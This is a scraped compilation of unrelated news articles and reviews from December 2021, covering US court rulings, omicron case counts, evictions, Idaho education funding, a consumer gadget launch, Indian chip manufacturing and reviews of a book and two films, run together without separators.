investigators. BURNSVILLE, N.C. (AP) A man shot and wounded a North Carolina trooper during a chase before later being killed in a shootout with authorities, officials said Wednesday. It was not immediately clear what prompted Tuesday's chase, but a Mitchell County sheriffs deputy alerted Yancey County authorities while it was ongoing, saying that the suspect was entering the county and had been firing his gun at the pursuing officer, the Yancey County Sheriffs Office said in a Facebook post. WASHINGTON (AP) A federal judge dismissed a lawsuit Tuesday that was brought by former President Donald Trump in his attempt to block congressional lawmakers from obtaining his tax returns. The ruling, handed down by U.S. District Judge Trevor McFadden a former Justice Department official and Trump appointee found that the chairman of the House Ways and Means Committee has broad authority, and the Treasury Department should provide the tax returns to the committee. In his ruling, McFadden said that even if the former President is right on the facts, he is wrong on the law. The House panel sought access to Trumps federal tax returns as part of an investigation into the Internal Revenue Services audit program and tax law compliance by the former president. The committee had sought Trumps personal and business returns for 2013 through 2018. A federal law says the Internal Revenue Service shall furnish the returns of any taxpayer to a handful of top lawmakers. A long line of Supreme Court cases requires great deference to facially valid congressional inquiries, the judge wrote. Even the special solicitude accorded former presidents does not alter the outcome. The judge stayed his ruling for two weeks, giving Trumps legal team time to file an appeal. The ruling also found that the House panel and its chairman, Richard Neal, had the legal discretion to publish Trumps tax returns. "It might not be right or wise to publish the returns, but it is the Chairmans right to do so, McFadden wrote in an opinion accompanying his ruling. Congress has granted him this extraordinary power, and courts are loath to second guess congressional motives or duly enacted statutes. The Justice Department, under the Trump administration, had defended a decision by then-Treasury Secretary Steven Mnuchin to withhold the tax returns. Mnuchin argued that he could withhold the documents because he concluded they were being sought by Democrats for partisan reasons. In July, the Justice Department published a legal opinion concluding that the Treasury Department must provide the committee with the tax returns. The memo said Neal had invoked sufficient reasons for requesting the former Presidents tax information and, under federal law, Treasury must furnish the information to the Committee. Manhattan District Attorney Cyrus Vance Jr. already has obtained copies of Trumps personal and business tax records as part of a criminal investigation. Trump tried to prevent his accountants from handing over the documents, taking the issue to the Supreme Court. The justices rejected Trumps argument that he had broad immunity as president. LONDON (AP) The U.K. recorded the highest number of confirmed new COVID-19 infections Wednesday since the pandemic began, and Englands chief medical officer warned the situation is likely to get worse as the omicron variant drives a new wave of illness during the Christmas holidays. Professor Chris Whitty described the current situation as two epidemics in one with omicron infections rising rapidly even as the country continues to grapple with the older delta variant, which is still causing a large number of infections. Public health officials expect omicron to become the dominant variant across the U.K. within days. Omicron already accounts for a majority of cases in London. The U.K. recorded 78,610 new infections on Wednesday, 16% higher than the previous record set in January. While scientists are still studying the risks posed by the highly transmissible omicron variant, Witty said the public should be braced for the figures to continue rising in coming weeks. There are several things we dont know, Whitty said. But all the things we do know are bad, the principal one being the speed at which this is moving. It is moving at an absolutely phenomenal pace. The comments came on the day that the U.K. government implemented new rules ordering masks to be worn in most indoor settings in England and requiring proof of vaccination or a negative coronavirus test to enter nightclubs and large crowded events. Britain is also accelerating its the national vaccination program, with a goal of offering a booster dose to every adult by the end of December. The government said within days it will open new mass vaccination centers at sports stadiums around the country, including Wembley, the 90,000-seat national soccer stadium in London. Whitty advised people to limit their social contacts, putting a priority on those that are the most important. I am afraid there will be an increasing number of omicron patients going into the NHS, going into hospital, going into intensive care, and exact ratios we dont yet know, but there will be substantial numbers, he said. That will begin to become apparent, in my view, fairly soon after Christmas." Despite the surge in infections, daily coronavirus-related deaths in the U.K. are well below last winters peak. Britain recorded 165 deaths on Wednesday, compared with a record 1,820 on Jan. 20. Public health officials credit widespread vaccination with weakening the link between COVID-19 infections, hospitalizations and deaths. Meanwhile, Britain is moving forward with a public inquiry into how the government has responded to the pandemic. Prime Minister Boris Johnson on Wednesday announced that Heather Hallett, a former Court of Appeal judge, would chair the inquiry, which is due to begin next spring. She brings a wealth of experience to the role and I know shares my determination that the inquiry examines in a forensic and thoroughgoing way the governments response to the pandemic, Johnson said. After pressure from bereaved families, Johnson agreed to hold an inquiry on his governments handling of the pandemic, which has left more than 146,000 people in Britain dead, the highest toll in Europe after Russia. The probe will have the power to summon evidence and to question witnesses under oath. The pressure group Bereaved Families for Justice said the announcement of a chairperson was a positive step but comes far too late. Weve been calling for an inquiry since the end of the first wave, and we will never know how many lives could have been saved had the government had a rapid review phase in summer 2020, said Matt Fowler, the groups co-founder. With the omicron variant upon us, the inquiry really cannot come soon enough. Hallett said she would be consulting bereaved families and others on the inquirys terms of reference. I shall do my utmost to ensure the inquiry answers as many questions as possible about the U.K.s response to the pandemic so that we can all learn lessons for the future, she said. Hallett oversaw inquests into the deaths of 52 people killed in the July 7, 2005 bombings on Londons transit system. Last month, she was appointed to lead an inquiry into the death of Dawn Sturgess, who died in 2018 after being exposed to Novichok, the Soviet-made nerve agent used to poison former Russian spy Sergei Skripal in the English city of Salisbury. Because of Halletts position with the COVID-19 probe, the government plans to find someone else to lead the inquiry to explore allegations of Russian involvement in Sturgess death. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic CAIRO (AP) The United Nations has launched a coronavirus vaccination campaign for stranded migrants in war-torn Yemen, the U.N. migration agency said Wednesday. The International Organization for Migration said in a statement that it aims to inoculate around 7,500 migrants in its centers in the provinces of Aden and Marib but that this was not enough. There are still not enough doses to protect everyone in Yemen from this disease," said Christa Rottensteiner, head of IOMs mission in Yemen. More support from the international community to supply the country with enough vaccines will save lives. Yemen has been engulfed in civil war since 2014, when the Iranian-backed Houthi rebels took the capital, Sanaa, and much of northern Yemen, forcing President Abed Rabbo Mansour Hadis government to flee to the south, then to exile to Saudi Arabia. A Saudi-led coalition, backed at the time by the United States, entered the war the following year on behalf of the internationally recognized Yemeni government, to try to restore Hadi to power. The conflict has not prevented migrants from entering Yemen, desperate to make their way to neighboring Saudi Arabia to find jobs as housekeepers, servants and construction workers. The U.N. agency said that there are an estimated 36,000 migrants stranded in Yemen, and that many of them are sleeping rough or in overcrowded and unsanitary accommodation where the virus can easily spread. The agency said the campaign to vaccinate the migrants was coordinated with the Yemeni government's Health Ministry and the World Health Organization. Funding came from Germany, Finland, and the European Union. Since the start of the pandemic, Yemen has reported more than 10,000 cases of coronavirus, including at least 1,972 deaths in government-held areas. The Houthis have reported only four cases in territory under their control. In April, the country's internationally recognized government launched a vaccination campaign for Yemenis in territory under its control. DUBAI, United Arab Emirates (AP) The U.S. Navy announced Wednesday it tested a laser weapon and destroyed a floating target in the Mideast, a system that could be used to counter bomb-laden drone boats deployed by Yemen's Houthi rebels in the Red Sea. The test Tuesday saw the USS Portland test-fire its Laser Weapon System Demonstrator at the target in the Gulf of Aden, the body of water separating East Africa from the Arabian Peninsula. The Navys Mideast-based 5th Fleet described the laser as having successfully engaged the target in a statement. Previously, the Portland used the laser to bring down a flying drone in May 2020. The Gulf of Aden sits along the southern coast of war-torn Yemen, which has been at war since Iranian-backed Houthi rebels seized its capital, Sanaa, in 2014. A Saudi-led coalition entered the conflict in March 2015 but the stalemate conflict has dragged on for years, becoming the world's worst humanitarian disaster and killing an estimated 110,000 people. The war also has bled into the surrounding waterways, like the Red Sea and the Bab el-Mandeb, which connects the sea to the Gulf of Aden. These waterways lead to the Suez Canal and onto the Mediterranean Sea, making them crucial for international shipping and global energy supplies. The Houthis have deployed drone boats into these waters, which can be piloted remotely and sent up to a target before detonating. These boats are suspected of being built with Iran's help. Emirati officials in 2018 showed off footage they described as coming from a drone boat computer that had Iranians building components for the boats guidance system, with a hat visible in the background of one picture bearing the symbol of Irans hard-line paramilitary Revolutionary Guard. Iran has denied arming the Houthis, though United Nations experts, independent analysts and Western nations point to evidence showing Tehran's link to the weapons. The Portland, a San Antonio-class amphibious transport dock, has its home port in San Diego. The ship is deployed as part of the Essex Amphibious Ready Group that's now in the Mideast. ___ Follow Jon Gambrell on Twitter at www.twitter.com/jongambrellAP. BOSTON (AP) Soon after losing his trucking job amid the pandemic, Freddie Davis got another blow: His landlord in Miami was almost doubling the rent on his Miami apartment. Davis girded for what he feared would come next. In September he was evicted just over a month after a federal eviction moratorium ended. He's now languishing in a hotel, aided by a nonprofit that helps homeless people. The 51-year-old desperately wants to find a new apartment. But it's proving impossible on his $1,000-a-month disability check. We live in America, and the thing is, people like me, we got to go to the street if we dont have no other place to go because we cant afford rent, said Davis, who lost a leg to diabetes, suffers congestive heart failure and is recovering from multiple wounds on his other leg and foot. I really cant do nothing. The federal ban, along with a mix of state and federal moratoriums, is credited with keeping Davis and millions of others in their homes during the pandemic and preventing the spread of the coronavirus. There was a brief lull in evictions filings after the ban ended. But housing advocates say they're on the rise in many parts of the country - though numbers remain below pre-pandemic levels due to the infusion of federal rental assistance and other pandemic-related assistance like expanded child tax credit payments that are also set to end. Part of the increase is due to courts catching up on the backlog of eviction cases. But advocates say the upsurge also shows the limits of federal emergency rental assistance in places where distribution remains slow and tenant protections are weak. Rising housing prices in many markets also are playing a role. According to the latest data from the Eviction Lab at Princeton University, eviction filings have been rising in most of the 31 cities and six states where it collects data. They increased 10.4% from the first half of August to the first half of September. In the first half of October, numbers were 38% above August levels and 25% higher than in September. Filings fell around 7% from the first half of October to November and now remain about 48% below pre-pandemic levels. Among places where eviction filings are returning to normal are Connecticut as well as Houston, Indianapolis, and Cincinnati and Columbus, Ohio, according to the Eviction Lab. Florida, too, has seen a significant rise, with filings in Tampa and Gainesville returning to near pre-pandemic levels. "There was a batch of initial commentary coming out when the moratorium ended and the tone ... was, well, there wasnt a tsunami so we dont have an eviction crisis on our hands, said Ben Martin, senior researcher at Texas Housers, a nonprofit focused on housing issues. That initial narrative was somewhat misleading. What we are seeing is a reflection of reality, which is that evictions take time to work their way into and through the court system. Among the concerns is that some landlords who got federal assistance are still evicting tenants. A survey of nearly 120 attorneys nationwide from the National Housing Law Project found 86% had seen cases like this. They also saw increasing instances of landlords lying in court to evict tenants and illegally locking out tenants. In many states, landlord tenant law is antiquated and designed to provide results for landlords," said Shamus Roller, executive director of the National Housing Law Project. Instead of adjudicating the facts, courts function as conveyor belts, moving tenants toward eviction. Among those who contend they were illegally evicted is Faye Moore. The 72-year-old returned home from work in October to find her life spread out on the sidewalk. Behind several thousand dollars rent on her two-bedroom townhouse in an Atlanta suburb, Moore figured she would get the chance to present her case to a judge, including that management refused to take her rent money for months and that she was given no notice before she was evicted. Im devastated. It was a house full of furniture. Everything, said Moore, a retired mental health therapist who is now staying in a hotel with her 61-year-old partner, Garry Betared. It was like a storm came in and devastated everything. I cant find my important papers or anything. Cicely Murray, a HUD housing counselor with the Neighborhood Assistance Corporation of America who is working with Moore, was most upset that the couple was evicted without a court hearing and forced to fend for themselves. Im angry that anyone would put an elderly couple out without trying to figure out what resources are there, Murray said. We are still in a pandemic. ... You are putting people in precarious situations who are some of the most fragile. As Christmas approaches, there are plenty of signs that eviction cases will keep rising. According to the U.S. Census Bureaus Household Pulse Survey, those saying they weren't confident of paying next months rent increased from about 5 million at the end of September to 6.3 million in the latest data. Landlords, especially smaller ones who own a handful of apartments, have also struggled. They believed the moratorium was illegal and saddled them with months of back rent they may never get back. Others were forced to lay off maintenance staff or sell units as they awaited federal rental assistance that was slow to be distributed. Some localities have lagged behind in getting out their portion of the $46.5 billion in federal Emergency Rental Assistance. According to a November report from the National Low Income Housing Coalition, 28% of grantees 32 states and 80 localities spent less than 30% of their first allocation of money and risk losing those funds. Among them is Nebraska, which spent only 6% of its funding through September and just 7% through October. Some landlords are refusing to take part in the program, said Caitlin Cedfeldt, a staff attorney at Legal Aid of Nebraska, while others have grown tired of waiting and are moving to evict. Tenants, some of whom got initial help but still face economic hardship, are being told they can't yet reapply for additional help. Missouri only spent 18% of its funding through September but has since improved. We have so much more work to do, U.S. Rep. Cori Bush, a St. Louis Democrat, said, citing data showing that evictions during the pandemic have taken lives. There are some states and local governments that feel, We dont want this money. We dont want this federal aid," she said. "And, we have some landlords who say that they dont want the money as well. So that makes it harder for the money to be dispersed. Gene Sperling, who is charged with overseeing implementation of President Joe Bidens $1.9 trillion coronavirus rescue package, said some increase in evictions was inevitable after the ban ended. "But fortunately because the Emergency Rental Assistance program is now paying full back-rent to about 500,000 renters each month, the eviction tsunami that experts feared has not occurred, he said. On the flip side are states and cities running out of rental assistance. The Treasury Department expects that upwards of $30 billion, or about two-thirds of the money, will have been spent or allocated by the end of the year. As the law dictates, Treasury is expected to begin reallocating funds from places not spending it to those in need. Texas has stopped accepting new applicants because it has allocated all its funds, though it continues to process applications received before the deadline. Oregon has stopped taking new applicants for now. The state of New York has spent or committed nearly all of its money, as has Philadelphia. California will soon exhaust its funds, while Atlanta has closed its program to new applicants. Austin, Texas, also stopped taking applications. Its particularly concerning that a number of these programs are now shutting down because all funds have been expended or obligated, said Peter Hepburn, research fellow at the Eviction Lab. If that funding gets removed, landlords may have less incentive to work with tenants. ___ Associated Press writers Adriana Gomez in Miami and Jim Salter in OFallon, Missouri, contributed to this report. WORCESTER, Mass. (AP) Worcester has become the latest local community in Massachusetts to have banned the use of facial recognition technology by its city government. The Worcester City Council voted Tuesday night to prohibit city departments from acquiring or using the technology. BOISE, Idaho (AP) Political hostility to public education in the Republican-dominated Idaho Legislature is causing some businesses to doubt the wisdom of moving to or expanding in a state that ranks at or near the bottom in what it spends on K-12 students and has one of the nation's worst graduation rates. The Legislature also targeted higher education earlier this year when it cut $2.5 million from universities despite a budget surplus. An influential libertarian group that wants to abolish public education entirely says it will push for a $20 million cut to universities in 2022. The message the Legislature is sending to businesses is very discouraging, said Rod Gramer, president of Idaho Business for Education, an advocacy group. I think its very harmful to our state. Not just our business community, but for our future as a state and our economy and our quality of life. For preschoolers, lawmakers earlier this year rejected a $6 million early childhood learning federal grant from the Trump administration. One Republican lawmaker said he opposed anything making it easier for mothers to work outside the home. Those actions have a chilling effect, business leaders say, that raise doubts about whether Idaho can produce a skilled workforce. It also causes potential employees to question the education opportunities for their children. The U.S. Department of Educations Institute of Education Sciences for the 2018-2019 school year said only five states and the District of Columbia had worse high school graduation rates than Idahos 81%. The Idaho State Department of Education said the graduation rate rose to 82.1% for 2019-2020, a school year that included the arrival of the coronavirus pandemic, and the state eliminated some graduation requirements. According to the National Education Association, the $7,705 Idaho spent per student in the 2019-2020 school year ranked it last in the nation. The association also estimates the average national classroom teacher salary at $65,000. Idaho ranks 39th with an average salary of just under $53,000 and 35th in average starting salary at $38,000. Boise-based computer chip maker Micron Technology, one of Idaho's largest employers, earlier this month announced plans to build a 500-worker, memory design center in Georgia. The company is the nation's second-largest semi-conductor maker, with product development sites in five other states and eight countries. Micron Chief People Officer April Arnzen, in a statement to The Associated Press, said the Atlanta Design Center will give it an opportunity to attract technical talent from a large and diverse student population from the area's strong university presence, which includes Emory University, Georgia Tech, Morehouse College, Spelman College and the University of Georgia. Micron has significant ties at Boise State University with the Micron College of Business and Economics and the Micron Center for Materials Research. Arnzen said K-12 and higher education are critical components to the company's success in Idaho. A well-funded educational system is essential to maintaining our workforce and necessary for our team members and their families, Arnzen said. Continued attacks on our universities and community colleges make it harder to develop an effective workforce pipeline. But the influential, libertarian Idaho Freedom Foundation sees it differently. Our public schools are grotesque, and adding more money is not going to solve the problem, the group's president, Wayne Hoffman, said during a speech in northern Idaho earlier this month. The government should not be in the education business. Theyre brainwashing our kids. He said his group worked hard in getting Republican lawmakers to cut the $2.5 million from universities earlier this year. He said he wants to cut $20 million from universities when the Legislature meets in early 2022. Primary talking points in getting the cuts this year were objections to social diversity and critical race theory. Critical race theory is a way of thinking about Americas history through the lens of racism. Republican lawmakers accused universities of indoctrinating students. Others see the issue as a ploy to stoke base voters and influence policy decisions to undermine education. It's a red-herring issue, said Gramer, the Idaho Business for Education president. We've got to be investing in education and not listening to the naysayers." But Hoffman has about a dozen House Republicans and sometimes more who will vote according to his wishes, making his plan to cut $20 million from universities more than just grandstanding. There is a small, extreme right-wing view out there that is hostile toward public education and opportunities for Idahoans, said Alex Labeau, president of the Idaho Association of Commerce & Industry, a business lobbying group. On other fronts, far-right-wing Republican Lt. Gov. Janice McGeachin, who is running against Republican Gov. Brad Little for his job, last summer gathered a like-minded task force to examine indoctrination in Idaho education, and made recommendations to the Legislature that included rejecting federal education grant money. In northern Idaho, the Northwest Commission on Colleges and Universities is reviewing the accreditation of North Idaho College after three of the five nonpartisan board of trustee seats were won by candidates backed by the far-right Kootenai County Republican Central Committee. With the majority, the board without cause fired the college president. Additionally, many public school districts cant get by on money allocated by state lawmakers, and they have turned to voters to ask them to approve levies for ongoing expenses or bonds to build schools, typically resulting in local property tax increases. Republican lawmakers in recent years have tried to eliminate some school bond and levy election dates. Meanwhile, a group called Reclaim Idaho is gathering signatures to get the Quality Education Act on the November 2022 ballot. If the group is successful and voters approve, it would add $300 million annually to K-12 education. The money would come from raising the corporate income tax rate to 8% and adding a 4.5% income tax on high earners. We have a crisis in our state, said Luke Mayville, co-founder of Reclaim Idaho. Page Content California's Assembly Bill 5, which codified the "ABC test" for classifying workers as employees or independent contractors, does not violate the First Amendment by limiting employment exemptions for freelance writers, photographers and videographers, the 9th U.S. Circuit Court of Appeals ruled. To confront the misclassification of employees as independent contractors, California passed Assembly Bill (AB) 5, then AB 2257, which codified a more expansive test for determining workers' statuses, albeit with certain occupational exceptions. Because freelance writers, photographers and others received a narrower exemption than was offered to certain other professionals, the American Society of Journalists and Authors Inc. and the National Press Photographers Association (collectively, ASJA) sued, alleging violations of the First Amendment and the Equal Protection Clause. In a 2018 opinion, Dynamex Operations West, Inc. v. Superior Court of Los Angeles, the California Supreme Court dramatically altered state labor law by adopting the ABC test for ascertaining whether workers were employees or independent contractors. That test permits businesses to classify workers as independent contractors only if they: 1) are free from control and direction of the hirer; 2) perform work that is outside the usual course of the hiring entity's business; and 3) are customarily engaged in an independently established trade, occupation or business. If a business cannot make that showing, its workers are deemed employees, in which case the business must comply with certain requirements, including paying federal Social Security and payroll taxes, unemployment insurance taxes, and state employment taxes; providing workers' compensation insurance; and complying with numerous state and federal statutes and regulations governing the wages, hours and working conditions of employees. The Dynamex decision initially applied only to wage orders enforced by the California Division of Labor Standards Enforcement (DLSE). This meant that, outside DLSE enforcement, employers were governed by previous law that allowed greater flexibility in classification of workers. AB 5 expanded the Dynamex test to apply in all other contexts, with exceptions for certain occupations and industries. For example, the law exempted from the ABC test licensed doctors, lawyers, architects, engineers and accountants, as well as certain commercial fishermen, salesmen and investment advisors, among others. It also exempted those engaged in listed professional services, which included marketing, graphic design, grant writing, barbery, cosmetology and fine arts. However, AB 5 limited the professional service exemption for freelance workers, including freelance writers and photographers, to those who submitted fewer than 35 pieces of work to a single entity in a given year. AB 5 also provided that the exemption did not apply to photographers, photojournalists and videographers working on motion pictures, which was defined to include projects produced for theatrical, television, Internet streaming for any device, commercial productions, broadcast news, music videos and live shows. ASJA sued to enjoin the above limitations and thereby expand the freelance exemptions. It claimed that the submission limit and exclusion of motion picture workers offended the Free Speech, Free Press, and Equal Protection Clauses because the exemptions did not apply to other professionals, such as marketers and artists, who enjoyed broader exemptions from Dynamex's ABC test. The district court denied ASJA's motions for a temporary restraining order and preliminary injunction. ASJA appealed the district court's decisions on these motions, and the state of California moved for dismissal of the lawsuit, which the district court granted. The ASJA appealed that decision as well. On appeal, the 9th Circuit determined that AB 5 was not targeted to interfere with speech by journalists and the movie industry, but instead only incidentally affected speech. As a result, the statute was not subject to strict scrutiny, but was only subject to rational basis scrutiny, to satisfy constitutional limitations. California had a rational basis for passing AB 5 as part of its efforts to combat what it considered abuses of independent contractor status by employers in the specified industries. As a result, the 9th Circuit upheld AB 5 and denied ASJA's appeal of the district court's decision. American Society of Journalists and Authors Inc. v. Bonta, 9th Cir., No. 20-55734 (Oct. 6, 2021), petition for rehearing en banc denied (Nov. 23, 2021). Professional Pointer: Worker misclassification laws have recently been enacted in states throughout the country, many of which make fine distinctions concerning employee status in various industries. So far, these statutes have generally survived constitutional challenges. Jeffrey Rhodes is an attorney with McInroy, Rigby & Rhodes LLP in Arlington, Va. A foreign national who entered Algeria on December 10 tested positive for Covid-19 on his arrival in the International Airport of Algiers. His sample, which was sent to the Institut Pasteur d'Alger, was confirmed on Tuesday as the Omicron variant of the Covid-19, the official APS news agency reported. Algiers, Dec 15 (IANS) Algerian Health authorities have confirmed the detection of the first case of the Omicron Covid-19 variant, local media reported. Fawzi Derrar, acting Director of the Institut Pasteur d'Alger, told reporters that the foreign national was put under quarantine upon his arrival in Algeria, Xinhua news agency reported. According to the WHO, the Omicron variant, which was first detected in southern Africa, has been detected in at least 65 countries around the world. Health authorities in Algeria on Tuesday reported 280 new Covid-19 cases and four new fatalities over the past 24 hours, bringing the total cases in the country to 213,288 and the death toll to 6,155. --IANS int/khz/ Of these new infectees, one is a woman, and three had recently travelled to Sharjah, Dubai, and Ireland. The cases include two in Mumbai and one each from Osmanabad and Buldhana districts, of whom one is a minor. Mumbai, Dec 15 (IANS) Four new cases of Covid-19 variant Omicron have been detected in Maharashtra, taking the state's tally to 32, officials said on Wednesday. The three adults have been vaccinated while the 16-year-old is not eligible for a jab. All patients are asymptomatic but admitted to hospitals for treatment. Presently, Maharashtra's Omicron cases are spread in several regions including the highest (14) in Mumbai, followed by Pune district with 12 patients, while there is one each in Palghar, Thane, Latur, Nagpur, Osmanabad, and Buldhana. Intensive surveillance of passengers arriving at the three international airports - Mumbai, Pune and Nagpur - is currently underway since December 1. A total of 14,522 travellers have landed here from the "high risk" countries of which 30 have tested positive and 9 from other countries, with all their reports sent for genomic sequencing to confirm if they are afflicted by Omicron, said the officials. Besides, 447 samples from field surveys conducted since November 1 have been sent for genomic sequencing with the results of 32 awaited, said Health Department officials. --IANS qn/vd The DOH said that the Nigerian national arrived in Manila on November 30 via an Oman Air flight, while the returning overseas Filipino arrived on December 1 via Philippine Airlines from Japan, Xinhua news agency reported. Manila, Dec 15 (IANS) Philippines has recorded its first two confirmed cases of the Omicron variant in two travellers from Nigeria and Japan respectively, the Department of Health (DOH) said on Wednesday. The two Omicron-positive individuals are now isolated in a facility managed by the Bureau of Quarantine. The Filipino had symptoms of colds and cough upon arrival, it said. Health Undersecretary Maria Rosario Vergeire told reporters that one traveller was fully vaccinated while the other was not. The DOH is determining possible close contacts among co-passengers during the flights of these two cases. "The DOH is verifying the test results and health status of all passengers of these flights to determine if there are other confirmed cases or passengers who became symptomatic after arrival," it added. As per the DOH, the two cases of the Omicron variant were detected from the 48 samples sequenced on Tuesday. With the detection of the Omicron variant, they urged people to adhere to the minimum public standards and properly wear face masks, frequently wash hands, observe physical distancing, ensure proper ventilation, and avoid crowded areas. "Moreover, this holiday season, the public should avoid holding mass gatherings to curb the transmission of Covid." It also urged the unvaccinated people to get their Covid shots. Philippines now has over 2.8 million confirmed Covid cases, including 50,351 deaths. --IANS int/sks In a bid to offer immersive sound experience, smartphone brand Vivo on Wednesday launched a new neckband -- Wireless Sport Lite -- in India at Rs 1,999. The neckband is available across Vivo India e-store and across all partner retail stores in two colour variants -- black and blue. "After witnessing the success of TWS Neo earphones last year, we are pleased to announce the launch of a new addition to our allied devices range with vivo Wireless Sport Lite neckband, a step towards the development of IoT technology," the company's spokesperson said in a statement. "With this new launch, we aim to strike a chord amongst the everyday music lovers by offering an amalgamation of unique and immersive audio experience along with unmatched sound clarity," the spokesperson added. The new neckband features a 11.2mm driver strong bass and 18 hours of playback time, the company claimed. The device also has a 'Call Noise Cancellation' feature which ensures you hear everyone on the other end clearly and experience uninterrupted communication. Packed with 129mAh battery, the neckband provides 5 hours of playtime in just 10 minutes. The neckband also offers many functional features including Easy connection, Magnetic switch, Google Voice assistance, Quick Pair and Game low lagging. Tata Group is in talks with some major international companies, including those from Taiwan, for its venture into the semiconductor chip business. The Union government had earlier tried to intorduce in Taiwanese manufacturers Taiwan Semiconductor Manufacturing Company (TSMC) and United Microelectronics Corporation (UMC) for chip manufacturing in India. Presently, India imports chips, which are fabricated and assembled to be put into various applications that include automobiles, renewable power, mobile phones, televisions, and other electronic items. With a presence in automobile manufacturing and renewable power, Tata Group has a captive requirement for chips. Group Company Tata Elxsi is already in the business of semiconductor services that includes artificial intelligence tools and frameworks, design solutions, and development. The group has also initiated setting up a Greenfield electronics manufacturing unit in Tamil Nadu. While the Indian government was keen to set up a manufacturing centre with Taiwanese company TSMC and later UMC through collaboration with Indian Space Research Organisation outfit Semi-Conductor Laboratory (SCL), the discussions did not make much headway because the incentives being offered were low. Besides, India could not offer a free trade agreement, which was one of the bargaining chips put forth by the Taiwanese side, said another official in the know. Chips required for fighter jets are made at Mohali-based SCL, which is a research and development facility engaged in design, development, fabrication, assembly of application-specific integrated circuits, and micro electro mechanical system devices. SCL wanted to build capacities for very large-scale integrated circuits. The government is looking to incentivise semiconductor manufacturing through a production-linked incentive (PLI) scheme. The Union Cabinet is expected to soon approve expressions of interest put in by companies to put up units under the scheme. Under the scheme notified in September this year, Rs 38,601 crore worth of incentives, over a six-year period ending March 31, 2027, would be offered under the PLI for the electronics sector, which includes the semiconductor industry. The government could, however, top up the scheme through a separate funding channel for semiconductor chips. Besides SCL, semiconductor wafer fabrication facilities are currently available in India in limited capacities for strategic applications at Hyderabad-based Gallium Arsenide Enabling Technology Centre and Bengaluru-based Society for Integrated Circuit Technology and Applied Research. Among the government-approved projects for semiconductors is the establishment of a gallium nitride ecosystem enabling centre and incubator for high power and high frequency electronics by the Society for Innovation and Development and for assembly, testing, marking, and packaging of NAND Flash memory. To continue, please log in, or sign up for a new account. We offer one free story view per month. If you register for an account, you will get two additional story views. After those three total views, we ask that you support us with a subscription. A subscription to our digital content is so much more than just access to our valuable content. It means youre helping to support a local community institution that has, from its very start, supported the betterment of our society. Thank you very much! Ambitious, handsome and charismatic, Stonehouse was an egomaniac with a limitless capacity for making trouble for himself and everyone around him, especially his long-suffering family. He might have got away with it but for hubris. Australians played a significant role in identifying and arresting Stonehouse, and several were also among those who assisted him during subsequent legal proceedings in England. These included the then rising junior barrister Geoffrey Robertson, who represented Stonehouse for a short time before his client decided, disastrously for as it turned out, to represent himself in a trial at the Old Bailey that ended in multiple convictions and a substantial prison sentence. If ever there was a real-life political scandal demanding to be adapted for the screen in a British-Australian co-production, it is the astonishing story of John Stonehouse MP. In the 1960s, the English politician served as a cabinet minister in the Labour government led by Harold Wilson and, as indicated by the subtitle of this book, was a corporate crook and a traitor. In 1974, while an MP and member of the Privy Council, Stonehouse decided to forestall inevitable financial ruin by faking his death. He left a towel on a beach near a hotel in Miami and travelled on a false passport to Melbourne. There he had hoped to be reunited both with his mistress, who worked as his parliamentary secretary and aided in the elaborate deception, and the large amount of money Stonehouse had defrauded from a network of companies he had set up with the unwitting assistance of his solicitor nephew, Michael Hayes. This book is the nearest thing we have to a definitive account of the Stonehouse affair. Julian Hayes is a senior British lawyer as well as the son of Michael Hayes. In researching this fascinating and thoroughly absorbing book, he confirmed that Stonehouse took payments from the Soviet-era Czech secret service, which recruited him as a spy in the 1960s, though it seems it may have been ripped off just like Stonehouses family and business associates. Credit: According to Hayes, the state archives of what is now the Czech Republic indicate Stonehouse took large amounts of cash from his handlers while somehow failing to provide them with any useful intelligence in return. Stonehouse was not a spy or agent in the terms that we understand them in the novels of John le Carre and Ian Fleming, writes Hayes. He hadnt provided the Czechs with anything significant and the disappointment in their filed reports is palpable. Stonehouse seems more reminiscent of le Carres fraudster father, Ronnie. The arrest in Melbourne of Stonehouse, who rented a Flinders Street apartment while using two false identities taken from deceased constituents Joseph Markham and Donald Mildoon, largely came about as the result of his inability to blend into a crowd. An eagle-eyed bank employee on his lunch break noticed a furtive looking character going in and out of different banks with large amounts of cash and alerted his manager, who in turn contacted the police. We sense she isnt kidding, nor just speaking metaphorically. But what exactly is going on? Is she a psychopath? Have we walked into the middle of a spy thriller? Or if theres another possibility, what could that be? Fairly quickly, we get our bearings: its a break-up scene, where the guy, Johannes, has to admit to his girlfriend Undine that hes found someone else. Nothing could be more ordinary, until she responds with an ultimatum: If you leave me, Ill have to kill you. The opening scene of Christian Petzolds Undine is more like the end of a story than the beginning. A couple sit together at a cafe table in a courtyard: a youthful woman (Paula Beer) with wavy red hair, and a somewhat older guy (Jacob Matschenz). Theres a lot to be said for going into Undine knowing nothing at all, not even the premise. Especially not the premise, since its possible to get almost to the end of this fairly short film without having the least idea whats really going on, although everything proceeds in the calm, lucid manner expected of Petzold, a leading light of current German cinema. Likewise typical of Petzold is the neatness of the design, built around recurring motifs: train journeys, for instance, or the Bach piano piece that punctuates the soundtrack, or the heroines brisk and assured yet slightly unsteady way of walking through present-day Berlin. Undine by profession is a scholar of architecture, giving talks to visiting adult groups on the changing face of the city. Here she uses both maps and three-dimensional models with blank facades and were led to feel that the film, in its enigmatic clarity, is itself akin to a demonstration model of this sort. As if Petzold were trying to make up for his own dryness, the most crucial motif of all is water: this too is present on different scales, from a trickling tap to full-on immersion. Undines new boyfriend, Christoph (Franz Rogowski), is an industrial diver; their first meeting culminates in the accidental destruction of a fish tank, a seemingly irrational bit of narrative patterning that confirms were dealing with some kind of uncanny force. Without giving too much away, at heart Undine is a love story: or thats the theory. With Petzolds films, the hope is always that pent up emotion will finally rush to the surface all at once, as it does for instance in his 2014 World War II melodrama Phoenix, a story almost as unlikely as this one. Its what makes Maya Erskines and Anna Konkles Pen15 (Stan) so extraordinary, and it might explain the enduring popularity of Jeff Kinneys Diary of a Wimpy Kid franchise, which began life online as an illustrated novel way back in 2004 before becoming a series of books and live-action movies. Jeff Kinneys Wimpy Kid franchise began life in 2004 as an online illustrated novel, and has since spawned a huge series of books and movies. Credit:Disney+ Theres no end to the torrent of books, films and television about what its like to be a child or an adolescent or at least what it used to be like. But when the people making this stuff truly remember what it was like, on such a cellular level that they can induce again in the reader or viewer the physical tears of innocence lost and the hot-skin prickly wicklies of childhood humiliation, then you really have something. Its too easy to miss brilliant streaming shows, movies and documentaries. Here are the ones to hit play on or skip. This new CGI movie has that emotional authenticity right from the start, when we meet young Greg Heffley on the anxious brink of leaving the little pond of elementary school for the much bigger one of middle school. 